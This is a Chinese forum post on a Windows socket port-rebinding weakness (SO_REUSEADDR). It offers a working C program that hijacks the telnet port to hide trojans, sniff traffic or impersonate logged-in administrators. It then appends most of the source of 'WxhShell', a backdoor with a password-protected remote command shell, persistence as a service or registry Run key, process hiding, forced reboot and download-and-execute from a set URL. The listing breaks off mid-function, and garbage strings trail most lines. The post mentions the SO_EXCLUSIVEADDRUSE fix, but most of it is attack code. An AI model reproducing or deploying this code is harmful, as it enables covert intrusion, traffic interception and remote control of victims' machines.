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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: F?hGt]o  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); != u S  
Na{&aqdz  
  saddr.sin_family = AF_INET; K?H(jP2mpM  
1SY3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V2BsvR`  
2X|nPhNi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); RxXiSc`^z  
m}GEx)Y D  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 QR*{}`+l  
u!9bhL`  
  这意味着什么?意味着可以进行如下的攻击: 7 ^n{BsN  
-A)/CFIZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z[*Y%o8-r  
#}aBRKZ f6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^_XV}&7Q  
[A46WF>L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G:Cgq\+R  
 !AFii:#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X DAwE  
Fu"@)xw/-q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;1L7+.A  
A S]jJc^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 D}L4uz?  
5gbD|^ij  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0=c:O  
2hF j+Ay  
  #include -r@/8"  
  #include ;BjJ<?^{  
  #include [eZ'h8  
  #include    @W\ H%VR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   &T[BS;  
  int main() $Y<(~E$FX  
  { D[bPm:\0M  
  WORD wVersionRequested; iYb{qv_4  
  DWORD ret; avEsX_.  
  WSADATA wsaData; &ZAc3@l[c  
  BOOL val; <7yn:  
  SOCKADDR_IN saddr; sZYTpZgW4L  
  SOCKADDR_IN scaddr; vC_O! 2E  
  int err; i=j4Wg,{J  
  SOCKET s; brClYpp,h  
  SOCKET sc; xD4G(]d!  
  int caddsize; `]m/za%7  
  HANDLE mt; }I ^e:,{  
  DWORD tid;   H`Ld,E2ex&  
  wVersionRequested = MAKEWORD( 2, 2 ); YV"LM6`  
  err = WSAStartup( wVersionRequested, &wsaData ); ">rt *?^  
  if ( err != 0 ) { Cswa5 l`af  
  printf("error!WSAStartup failed!\n"); w"?E=RS  
  return -1; l527>7 eT  
  } FN295:Iuw  
  saddr.sin_family = AF_INET; @d_;p<\l  
   V9<CeTl'  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (]*!`(_b  
2Wq/_:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4&'_~qU  
  saddr.sin_port = htons(23); k ks ?S',  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 31n|ScXv  
  { eKek~U&  
  printf("error!socket failed!\n"); "i/3m'<2  
  return -1; a#i%7mfn  
  } ?*A"#0  
  val = TRUE; O!.mc=Gx7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~AG."<}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u@$pOLI  
  { 0fU^  
  printf("error!setsockopt failed!\n"); X]AbBzy  
  return -1; } P/ x@N  
  } DU.[Sp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R22P ol  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %QKRl 5RM-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "f3KE=cUm  
jj*e.t:F  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7COJ.rA  
  { t4CI+fqy  
  ret=GetLastError(); PbN"+qM  
  printf("error!bind failed!\n"); 7z4u?>pne*  
  return -1; 6N]V.;0_5  
  } 1[r;  
  listen(s,2); x:WxEw>R  
  while(1) +jpC%o}C  
  { 1q(o3%   
  caddsize = sizeof(scaddr); V;SXa|,  
  //接受连接请求 x8wal[6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,1g*0W^  
  if(sc!=INVALID_SOCKET) 0A>Fl*  
  { 7+^4v(s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9dXtugp|  
  if(mt==NULL) 1O]27"9  
  { uSi/|  
  printf("Thread Creat Failed!\n"); Je~d/,^WU  
  break; ~ E|L4E  
  } yNu%D$6u7  
  } Z`lCS o;  
  CloseHandle(mt); *^5..0du  
  }  %Jc>joU  
  closesocket(s); x#s=eeP1  
  WSACleanup(); ; (;J  
  return 0; o4g<[X)  
  }   Uv"GG: K_  
  DWORD WINAPI ClientThread(LPVOID lpParam) niIjatT  
  { 1GL@t?S  
  SOCKET ss = (SOCKET)lpParam; W!G2$e6  
  SOCKET sc; pr(16P  
  unsigned char buf[4096]; 8FY/57.W  
  SOCKADDR_IN saddr; OY/sCx+c  
  long num; L?5OWVX!v  
  DWORD val; >f*[U/{ K  
  DWORD ret; a>{b'X^LV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |.zotEh  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ]Ak@!&hyak  
  saddr.sin_family = AF_INET; -j 6U{l  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _F1{<" 4  
  saddr.sin_port = htons(23); }uE8o"q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ghgo"-,#  
  { ii :h E=  
  printf("error!socket failed!\n"); "nK(+Z  
  return -1; #e:*]A'I  
  } &i~AXNw  
  val = 100; De*Z UN|<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n|oAfJUk,  
  {  T8i9  
  ret = GetLastError(); ZP& "[_  
  return -1;  } Rc8\,  
  } fYzOT, c  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LF~=,S  
  { y'<juaw  
  ret = GetLastError(); _ .%\czO  
  return -1; {&Fh$H!  
  } +{j? +4(B  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) C||A[JOS  
  { )oSUhU26}  
  printf("error!socket connect failed!\n"); [k9aY$baT^  
  closesocket(sc); ZN2g(  
  closesocket(ss); Lw]:/x  
  return -1; 2b]'KiX  
  } 4C ;4"6  
  while(1) qYW{$K  
  { _ID2yJ   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 b-{\manH  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {37DrSOa  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 22|f!la8n  
  num = recv(ss,buf,4096,0); v?yHj-  
  if(num>0) _gY so]S^B  
  send(sc,buf,num,0); 1@Bq-2OD4  
  else if(num==0) A`7uw|uO$  
  break; MO :##C  
  num = recv(sc,buf,4096,0); cK>5!2b  
  if(num>0) fz W%(.tc\  
  send(ss,buf,num,0); _1c'~;  
  else if(num==0) q0 :Lb  
  break; !UD62yw~  
  } OxqbHe  
  closesocket(ss); ,LXuU8sB  
  closesocket(sc); !GMb~  
  return 0 ; 56*}}B$?  
  } }VE[W  
x!q$`zF\\  
0K, *FdA  
========================================================== 0z."6 r  
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下边附上一个代码,,WXhSHELL >.PLD} zE_  
Q/iaxY#  
========================================================== mqk~Pno|<  
b^PYA_k-Xn  
#include "stdafx.h" uj&^W[s  
A $W,#`E  
#include <stdio.h> !a3cEzs3  
#include <string.h> (]>c8;o#b  
#include <windows.h> q:-8W[_  
#include <winsock2.h> $qy%Q]  
#include <winsvc.h> 'R~x.NM  
#include <urlmon.h> '@HWp8+  
s_K:h  
#pragma comment (lib, "Ws2_32.lib") [e ;K$  
#pragma comment (lib, "urlmon.lib") SMgf(N3]  
>i]r,j8!  
#define MAX_USER   100 // 最大客户端连接数 !:`QX\Ux  
#define BUF_SOCK   200 // sock buffer B{QY-F~  
#define KEY_BUFF   255 // 输入 buffer /g'F+{v  
f6^H Q1SSt  
#define REBOOT     0   // 重启 v%V$@MF  
#define SHUTDOWN   1   // 关机 R |8)iW^  
Hbx=vLQ6  
#define DEF_PORT   5000 // 监听端口 b}o^ ?NtA  
6+FmYp  
#define REG_LEN     16   // 注册表键长度 mN_RB{g{  
#define SVC_LEN     80   // NT服务名长度 ]m(Uv8/6  
A;w,m{9<  
// 从dll定义API X'ryfa1|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BG~h9.c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <<v,9*h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,/|"0$p2x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WU{G_Fqaz  
{Rjj  
// wxhshell配置信息 RMmDcvM"k  
struct WSCFG { N4}/n  
  int ws_port;         // 监听端口 >I8R[@  
  char ws_passstr[REG_LEN]; // 口令 c&AA< 6pkv  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jp xJZJ  
  char ws_regname[REG_LEN]; // 注册表键名 }!(cm;XA"  
  char ws_svcname[REG_LEN]; // 服务名 ?A2#V(4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dx/?0F7V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6N:fq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &voyEvX/S  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jw5Bbyk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %[-D&flKC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eL#pS=  
y0M^oLx  
}; /'u-Fr(Q+  
tqAh &TW3+  
// default Wxhshell configuration 0tC+?  
struct WSCFG wscfg={DEF_PORT, N{tNe-5  
    "xuhuanlingzhe", "D2 `=D!+  
    1, g03I<<|@  
    "Wxhshell", cc*A/lD  
    "Wxhshell", *ELbz}Q  
            "WxhShell Service", OSK 3X Qc  
    "Wrsky Windows CmdShell Service", s6lo11  
    "Please Input Your Password: ", xD,BlDV  
  1, tz)aQ6p\X  
  "http://www.wrsky.com/wxhshell.exe", {PnvQ?|Z  
  "Wxhshell.exe" 'mp@!@_  
    }; (2[tQ`~  
E;*#fD~@  
// 消息定义模块 c]v $C&FX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b<P9@h~:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PF2PMEBx!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oa?bOm  
char *msg_ws_ext="\n\rExit."; 6.ASLH3#  
char *msg_ws_end="\n\rQuit."; :$~)i?ge<5  
char *msg_ws_boot="\n\rReboot..."; Jajo!X*Wai  
char *msg_ws_poff="\n\rShutdown..."; }KEyJj3"DA  
char *msg_ws_down="\n\rSave to "; b lP@Cn2  
k(pI5N}pJZ  
char *msg_ws_err="\n\rErr!"; X+z!?W*a  
char *msg_ws_ok="\n\rOK!"; P hs4]!  
uPr'by  
char ExeFile[MAX_PATH]; 2w>WS#  
int nUser = 0; U$&G_&*0a  
HANDLE handles[MAX_USER]; 0/S|h"-L  
int OsIsNt; >\ y|}|?  
+3dWnBg?  
SERVICE_STATUS       serviceStatus; qT$;ZV #  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LuM:dJ  
HQw98/-_W  
// 函数声明 _ [su?C  
int Install(void); 3} @3pVS  
int Uninstall(void); c>#T\AEkF  
int DownloadFile(char *sURL, SOCKET wsh); jNhiY  
int Boot(int flag); Ua\]]<hj"  
void HideProc(void); 47 xyS%X  
int GetOsVer(void); umhg O.!  
int Wxhshell(SOCKET wsl); "SJp9s3  
void TalkWithClient(void *cs); [KR|m,QWp  
int CmdShell(SOCKET sock); ? C1.g'}7  
int StartFromService(void); ?{[ ISk)  
int StartWxhshell(LPSTR lpCmdLine); M{cF14cQ  
tPBr{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _y*@Hj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mrysy)x  
8yij=T*  
// 数据结构和表定义 o@*eC L=  
SERVICE_TABLE_ENTRY DispatchTable[] = OC34@YUj[  
{ (KtuikJ32^  
{wscfg.ws_svcname, NTServiceMain}, _&)^a)Nu  
{NULL, NULL} NF8'O  
}; ?~X*\  
vikA  
// 自我安装 y.PWh<dI  
int Install(void) }K':tX?  
{ Q#w mS&$f  
  char svExeFile[MAX_PATH]; +z}O*,M"q  
  HKEY key; *(wkgn  
  strcpy(svExeFile,ExeFile); (k/[/`3ST  
U l8G R  
// 如果是win9x系统,修改注册表设为自启动 "Zm**h.t  
if(!OsIsNt) { & mwQj<Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d5Hp&tm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N^</:R  
  RegCloseKey(key); 5x856RQ'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nwuH:6~"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4efIw<1_  
  RegCloseKey(key); ko<u0SjF)u  
  return 0; }MQNzaXY^  
    } ere h!  
  } & \tD$g~"  
} =h5&:?X  
else { g~E N3~  
7X 4/6]*  
// 如果是NT以上系统,安装为系统服务 s8BfOl-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &CBW>*B  
if (schSCManager!=0) >f+qImH  
{ DEJ0<pnQr  
  SC_HANDLE schService = CreateService %87D(h!.I4  
  ( "/H B#  
  schSCManager, )gF>nNE  
  wscfg.ws_svcname, h,-2+}  
  wscfg.ws_svcdisp, ~5`p/.L)ZD  
  SERVICE_ALL_ACCESS, vge4&H3a&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , stGk*\>U'  
  SERVICE_AUTO_START, ?R-4uG[(  
  SERVICE_ERROR_NORMAL, bd|ZhRsL  
  svExeFile, N;Hoi8W  
  NULL, >A&D/k MO  
  NULL, (<GBhNj=c  
  NULL, S $j"'K  
  NULL, 0\tV@ 6p2=  
  NULL ?{=& Ro  
  ); rtM29~c>@  
  if (schService!=0) )M3} 6^s]  
  { f2h`bO  
  CloseServiceHandle(schService); Ln-UN$2~F  
  CloseServiceHandle(schSCManager); ;OC~,?O5  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oZ]^zzoEcg  
  strcat(svExeFile,wscfg.ws_svcname); Z4ekBdmCL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (F=/r] Q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); A-"2sp*t  
  RegCloseKey(key); iA.:{^_)09  
  return 0; YQ? "~[mL  
    } h]6m+oPW  
  } j(aok5:e  
  CloseServiceHandle(schSCManager); kPRG^Ox8e  
} 6&oaxAp<s  
} <Wr n/%tL  
% 9 Jx|  
return 1; >wSrllmj@  
} GZxPh&BM?  
GN1Q\8)o  
// 自我卸载 %Z~0vwY  
int Uninstall(void) >o/+z18x  
{ B`<a~V  
  HKEY key; ]mzghH:E  
y@XE! L  
if(!OsIsNt) { 9U]3B)h%m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D9yAq'k$  
  RegDeleteValue(key,wscfg.ws_regname); G^1 5V'*  
  RegCloseKey(key); G/ sRi wL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =w!>/#U  
  RegDeleteValue(key,wscfg.ws_regname); 9 AWFjoXl"  
  RegCloseKey(key); pNFVa<D  
  return 0; DhVO}g)2#  
  } q%S^3C&  
} _a]0<Vm C0  
} evSr?ys  
else { } "QL"%  
,vDSY N6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /Fj*sS8  
if (schSCManager!=0) }1kZF{KD<[  
{ >mAi/TZC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ew+>?a'&L  
  if (schService!=0) !8Y $}  
  { YMG~k3Yb  
  if(DeleteService(schService)!=0) { X_HU?Q_N  
  CloseServiceHandle(schService); :DG7Z  
  CloseServiceHandle(schSCManager); PenkqDc}  
  return 0; m!- R}PQC  
  } ]]F e:>  
  CloseServiceHandle(schService); S^Mx=KJG  
  } ^\ku}X_ [?  
  CloseServiceHandle(schSCManager); Q30TR  
} Au10]b  
} <D`VFSEJ  
a&z$4!wQB  
return 1; .;J6)h  
} vu@@!cT6e  
[,yYr  
// 从指定url下载文件 @1vpkB~ w  
int DownloadFile(char *sURL, SOCKET wsh) )+ (GE  
{ gmUX 2x(  
  HRESULT hr; vqhu%ZyP  
char seps[]= "/"; _uL8TC ^  
char *token; ^ *1hz<  
char *file; bZ SaL^^(  
char myURL[MAX_PATH]; ugV/#v O  
char myFILE[MAX_PATH]; o}b_`O  
WSxE/C|[  
strcpy(myURL,sURL); 6s.>5}M!  
  token=strtok(myURL,seps); 7`J= PG$A  
  while(token!=NULL) !sVW0JSh  
  { nPR*mbW  
    file=token; cI\&&<>SlG  
  token=strtok(NULL,seps); GHR r+  
  } $tqr+1P  
_T.T[%-&=  
GetCurrentDirectory(MAX_PATH,myFILE); ;9;jUQ]MyG  
strcat(myFILE, "\\"); bLsN?_jy  
strcat(myFILE, file); 7pO/!Lm  
  send(wsh,myFILE,strlen(myFILE),0); >&[q`i{  
send(wsh,"...",3,0); YZy%]i=1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2TccIv  
  if(hr==S_OK) E#n=aY~u-  
return 0; /?%1;s:'  
else *v#Z/RrrA  
return 1; T+j-MR}{\  
&BxZ}JH=k  
} je;|zfe]  
^wlo;.8Y  
// 系统电源模块 cqG&n0zb  
int Boot(int flag) /0YO`])"  
{ :h8-y&;  
  HANDLE hToken; Gp0yRT.  
  TOKEN_PRIVILEGES tkp; G-[.BWQ   
Ex+E66bE  
  if(OsIsNt) { EkpM'j=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KY+BXGW*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p~yGp] yJ9  
    tkp.PrivilegeCount = 1; YBupC!R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; #BW:*$>}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Utj4f-M  
if(flag==REBOOT) { O`f[9^fN  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RjxFlKs8  
  return 0; PTH'-G  
} -\&b&;_  
else { LMRq.wxbbB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J-ErG!  
  return 0; }u+cS[#-  
} T4Io+b8 $  
  }  $ucmE  
  else { ,zOv-pH  
if(flag==REBOOT) { S0WKEv@Hn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) avb'dx*q>  
  return 0; =sUrSVUeU  
} .cK<jF@'  
else { =`g@6S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x"~gulcz  
  return 0; b[^|.>b  
} glomwny  
} 2CRgOFR  
7OD2/{]5  
return 1; &?*H`5#?G  
} %?PRBE'}'  
ldWrv7. P  
// win9x进程隐藏模块 J\E?rT  
void HideProc(void) ^wD@)Dz  
{ k;f%OQsF_  
M.K%;j`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;Dp<|n  
  if ( hKernel != NULL ) ]p*Fq^  
  { 8Z>=sUMQ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MI,kKi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F.iJz4ya_  
    FreeLibrary(hKernel); @DuSii#.S  
  } %I#[k4,N  
;3&HZq6Z (  
return; Gj&`+!\  
} S\0?~l"}  
:+Tvq,/"  
// 获取操作系统版本 r:5u(2  
int GetOsVer(void) q|QkJr <  
{ J3y4 D}  
  OSVERSIONINFO winfo; <_#a%+5d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }CQ)W1mO"  
  GetVersionEx(&winfo); .$zo_~ mR  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &+")~2 +  
  return 1; 5OC{_-  
  else Cznp(z  
  return 0; }3=^Ik;x  
} 1q/Q@O  
)#v0.pE  
// 客户端句柄模块 #\&64  
int Wxhshell(SOCKET wsl) 2}6StmE }  
{ ^q\9HBHT  
  SOCKET wsh; J_d!` Hhe  
  struct sockaddr_in client; 8B;HMD  
  DWORD myID; )|B3TjH C  
kqZ+e/o>O9  
  while(nUser<MAX_USER) ~IQw?a.E  
{ w">-r}HnJ  
  int nSize=sizeof(client); Y\j5{;V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u&r+ylbs I  
  if(wsh==INVALID_SOCKET) return 1; u5A$VRMN  
|g!3f  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PDhoCAh !  
if(handles[nUser]==0) HG&rE3@  
  closesocket(wsh); ]L_h3Xz\X  
else oT*qMLdn  
  nUser++; c4iGtW  
  } c52S2f7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :tT6V(-W  
3>%:%bP  
  return 0; mH 9_HK.C  
} A;7At!kK  
tjbI*Pw7(  
// 关闭 socket iJ p E`  
void CloseIt(SOCKET wsh) L~HL*~#d  
{ a1g aB:w5n  
closesocket(wsh); ,XYtoZa  
nUser--; S\ ) ~9?  
ExitThread(0); "U*6?]f  
} lH"4"r  
V]P%@<C  
// 客户端请求句柄 VP_S[+Zv~  
void TalkWithClient(void *cs) 1(jDBP!8  
{ c63yJqiW  
!1xX)XD4y  
  SOCKET wsh=(SOCKET)cs; M5c~-}Ay  
  char pwd[SVC_LEN]; T*rx5*:o  
  char cmd[KEY_BUFF]; 2-_d~~O1N  
char chr[1]; 4+q3 Kw  
int i,j; ,7ZV;f 81  
15CKcM6  
  while (nUser < MAX_USER) {  @"L*!  
o|nN0z)b4  
if(wscfg.ws_passstr) { 9_l WB6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QN^AihsPi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V2IurDE  
  //ZeroMemory(pwd,KEY_BUFF); p>= b|Qy|  
      i=0; X*e<g=  
  while(i<SVC_LEN) { v_I)eac z  
/s "Lsbe  
  // 设置超时 5'S~PQka*  
  fd_set FdRead; {!NX u  
  struct timeval TimeOut; */y (~O6  
  FD_ZERO(&FdRead); .a7!*I#g  
  FD_SET(wsh,&FdRead); j S<."a/n  
  TimeOut.tv_sec=8; WbGN 5?9Q  
  TimeOut.tv_usec=0; @q+X:K5b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g @qrVQv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h4tAaPcS+  
LuvRxmQ`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ' ;3#t(J;  
  pwd=chr[0]; !b8.XGo  
  if(chr[0]==0xd || chr[0]==0xa) { Q[MWzsx  
  pwd=0; h9I vuv'  
  break; ><H*T{ Pg  
  } UflS`  
  i++; .?)gn]#  
    } 6 B*,Mu4A  
v&Oc,W  
  // 如果是非法用户,关闭 socket 2dnyIgi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wOF";0EN  
} rLp (}^  
F-PQ`@ZNW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -;j ' =?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 69$gPY'3  
=p>IP"HJ  
while(1) { Sq[LwJ  
9_xJT^10  
  ZeroMemory(cmd,KEY_BUFF); h Nx#x  
1s6L]&B  
      // 自动支持客户端 telnet标准   XxLauJP K  
  j=0; Y|~+bKa  
  while(j<KEY_BUFF) { D"8?4+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CZw]@2/JuQ  
  cmd[j]=chr[0]; `XrF ,  
  if(chr[0]==0xa || chr[0]==0xd) { oyq9XW~ D  
  cmd[j]=0; -d_7 q  
  break; n>W*y|UJ  
  } $$e"[g  
  j++; 9z kRwrQ  
    } f]48>LRE8  
PdSYFJM  
  // 下载文件 Z \>mAtm  
  if(strstr(cmd,"http://")) { ?<STl-]&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SYwB #|  
  if(DownloadFile(cmd,wsh)) _p;=]#+c&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~`l/ W  
  else ,dXJCX8so  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {P'^X+B0*  
  } 0$=w8tP)  
  else { D8f4X w}=  
bDjm:G  
    switch(cmd[0]) { CqR^w(  
  l$ufW|  
  // 帮助 q#\4/Dt  
  case '?': { u#nM_UJe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); uUJH^pW  
    break; /Suh&qw>  
  } >G}g=zy@  
  // 安装 Jsf"h-)P  
  case 'i': { $3]]<oH  
    if(Install()) SGP)A(,k9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8:fq!m  
    else ndHUQ$/(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `l0"4 [?  
    break; U?=-V8#M|  
    } ;VS$xnZ  
  // 卸载 +d=w%r)  
  case 'r': { [Zne19/  
    if(Uninstall()) =XFyEt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z -uW,  
    else %<{1 N|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +*Zjo&pc  
    break; 7f>~P_  
    } ne 8rF.D  
  // 显示 wxhshell 所在路径 6)yi^v  
  case 'p': { T&^b~T(y  
    char svExeFile[MAX_PATH]; ).IK[5Q`  
    strcpy(svExeFile,"\n\r"); ?,w9e|  
      strcat(svExeFile,ExeFile);  }~Ir &   
        send(wsh,svExeFile,strlen(svExeFile),0); 97vQM  
    break; S!h=HE  
    } K)W:@,*  
  // 重启 ZKt`>KZ  
  case 'b': { !OV+=Rwdx  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e#!p6+#"  
    if(Boot(REBOOT)) `X%Qt ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @t2S"s$m  
    else { _K3;$2d|R  
    closesocket(wsh); GTke<R  
    ExitThread(0); #=,c8" O  
    } 3jjV bm  
    break; sB wzb  
    } .4[M7)  
  // 关机 D[dI_|59a  
  case 'd': { [F+*e=wjN>  
